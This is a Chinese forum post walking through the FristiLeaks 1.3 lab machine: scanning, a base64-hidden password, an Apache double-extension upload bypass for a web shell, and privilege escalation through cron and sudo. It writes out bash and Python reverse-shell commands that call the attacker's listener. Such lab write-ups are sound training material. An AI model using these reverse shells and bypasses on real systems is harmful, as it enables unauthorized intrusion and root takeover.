FRISTILEAKS: 1.3超详细靶机实战

打印 上一主题 下一主题

主题 959|帖子 959|积分 2877

一、网卡设置

网卡设置为nat模式,并修改mac地点为
  1. 08:00:27:A5:A6:76
复制代码
 

 开启捏造机后IP地点在终端表现

 二、端口扫描

  1. nmap 192.168.121.183 -A
复制代码

 开启了80端口
访问
三、web信息收集

1.目录扫描

  1. dirb 192.168.121.183
复制代码

没什么可用信息
访问web服务找找功能点

 貌似没有可勤劳能点,拼接访问robots.txt

给了三个路径,访问看看
发现都是这张图

给了说明:这里不是正确的URL,还得继续探求
最终我们拼接访问首页的FRISTI,发现新页面

 
 尝试弱口令爆破和sql注入,都无果
末了F12查看页面源码得到提示

说是对图片举行了base64加密

 这是加密的值,我们对其举行解码
  1. base64 -d decode.txt
复制代码

发现是一个png类型的文件
我们将其输出到png文件中查看
  1. base64 -d decode.txt > decode.png
复制代码

 大概是密码
我们再利用源码中的留言者作为用户,尝试登岸

  1. eezeepz
  2. keKkeKKeKKeKkEkkEk
复制代码
登岸乐成

 出现了上传文件的功能点
四、getshell

上传一句话木马,失败
这里想起来它的中间件是apache

 可以利用apache的解析毛病,去绕过
在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判定解析,如果后缀名为不可识别文件解析,就再往左判定。直到识别到合法后缀才举行解析。如 1.php.png

 上传中,我们去提示路径下查看
  1. fristi/uploads/shell2.php.jpg
复制代码
 

 乐成解析
用蚁剑连接

乐成获取shell
反弹shell
先用kali监听4444端口
  1. nc -lvvp 4444
复制代码
蚁剑打开捏造终端 输入
  1. bash -c 'bash -i >& /dev/tcp/192.168.121.171/4444 0>&1'
复制代码
 

 反弹乐成

五、提权

1.sudo提权


sudo -l没有权限,查看home下的用户
发现有admin、eezeepz、fristigod三个用户
在eezeepz家目录下找到notes.txt

 翻译一下:
我让你可以做一些主动查抄,但我只答应您访问/usr/bin/*体系二进制文件
然而,我确实复制了一些额外的常常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,如许您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次
可以在/tmp/目录下放一个文件名为runthis的脚本文件,反弹shell
  1. import socket,subprocess,os;
  2. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  3. s.connect(("192.168.121.171",8888));
  4. os.dup2(s.fileno(),0);
  5. os.dup2(s.fileno(),1);
  6. os.dup2(s.fileno(),2);
  7. p=subprocess.call(["/bin/sh","-i"]);
复制代码
 我这里使用kali开启长途服务,下载到目的呆板上

 

然后运行这串命令
  1. echo "/usr/bin/python /tmp/rev_shell.py" > /tmp/runthis
复制代码
 kali开启8888端口监听,反弹乐成

 获取admin用户的交互式shell
  1. python -c 'import pty; pty.spawn("/bin/bash")'
复制代码
 

 看看有啥

 有两个txt、两个py脚本,看看里面有啥信息
有两串base64编码值和一个编码脚本
  1. whoisyourgodnow.txt
  2. =RFn0AKnlMHMPIzpyuTI0ITG
  3. cryptedpass.txt
  4. mVGZ3O3omkJLmy2pcuTq
  5. cryptpass.py
  6. import base64,codecs,sys
  7. def encodeString(str):
  8.     base64string= base64.b64encode(str)
  9.     return codecs.encode(base64string[::-1], 'rot13')
  10. cryptoResult=encodeString(sys.argv[1])
  11. print cryptoResult
复制代码
 我们对脚本举行反向操作,将加密改为解密
  1. import base64,codecs,sys
  2. def decodeString(str):
  3.   rot13string = codecs.decode(str[::-1], 'rot13')
  4.   return base64.b64decode(rot13string)
  5. print(decodeString(sys.argv[1]))
复制代码
 将其生存到kali上定名为1.py
运行1.py脚本解密两串base64值

 第一串值疑似fristigod用户的密码,我们尝试登岸

sudo -l查看具有sudo权限的步调
发现可以fristi权限运行/var/fristigod/.secret_admin_stuff/doCom

 尝试以fristi权限运行一下/var/fristigod/.secret_admin_stuff/doCom
  1. sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
复制代码

 说是该/var/fristigod/.secret_admin_stuff/doCom文件背面得跟着命令
输入个id试试
  1. sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
复制代码

 是root权限,那么我们可以获取root的shell
  1. sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
复制代码

提权乐成

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

耶耶耶耶耶

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表